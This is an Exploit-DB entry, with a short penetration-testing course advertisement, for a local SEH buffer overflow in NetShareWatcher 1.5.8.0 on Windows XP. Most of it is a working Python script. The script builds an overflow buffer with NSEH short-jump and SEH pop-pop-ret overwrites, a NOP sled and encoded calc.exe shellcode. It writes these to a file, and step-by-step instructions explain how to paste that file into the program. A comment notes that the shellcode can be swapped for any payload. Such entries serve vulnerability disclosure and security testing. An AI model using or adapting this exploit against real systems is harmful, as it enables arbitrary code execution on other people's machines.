NetShareWatcher 1.5.8.0 - Local SEH Buffer Overflow

EDB-ID:

46578

CVE:

N/A




Platform:

Windows

Date:

2019-03-20


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

# Exploit Title: NetShareWatcher 1.5.8.0 - SEH Buffer Overflow
# Date: 2019-03-19
# Vendor Homepage: http://netsharewatcher.nsauditor.com
# Software Link:  http://netsharewatcher.nsauditor.com/downloads/NetShareWatcher_setup.exe
# Exploit Author: Peyman Forouzan
# Tested Version: 1.5.8.0
# Tested on: Windows XP SP2 - SP3

# 1- Run python code : NetShareWatcher.py
# 2- Open Exploit.txt and copy content to clipboard
# 3- Open NetShareWatcher
# 4- Setting --> Defaults --> Restrictions --> Add --> Custome
# 5- Paste the content of Exploit.txt into the box
# 6- Click 'Find'
# 7- Calc.exe Open ( Can be replaced with Shellcode )

#!/usr/bin/python

buffer = "\x41" * 262
nseh = "\xeb\x14\x90\x90"  # Overwrite Next Seh With Short jmp
seh = "\x90\xBF\xC9\x74"   # Overwrite Seh / pop esi pop ebx retn [OLEACC.dll]
nops = "\x90" * 20

# Calc.exe payload [size 227]
buf =""
buf += "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"
buf += "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"
buf += "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"
buf += "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"
buf += "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"
buf += "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"
buf += "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"
buf += "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"
buf += "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"
buf += "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"
buf += "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"
buf += "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"
buf += "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"
buf += "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"
buf += "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"
buf += "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"
buf += "\x9a\xca\xc0";

payload = buffer + nseh + seh + nops + buf
try:
    f=open("Exploit.txt","w")
    print "[+] Creating %s bytes payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File can't be created"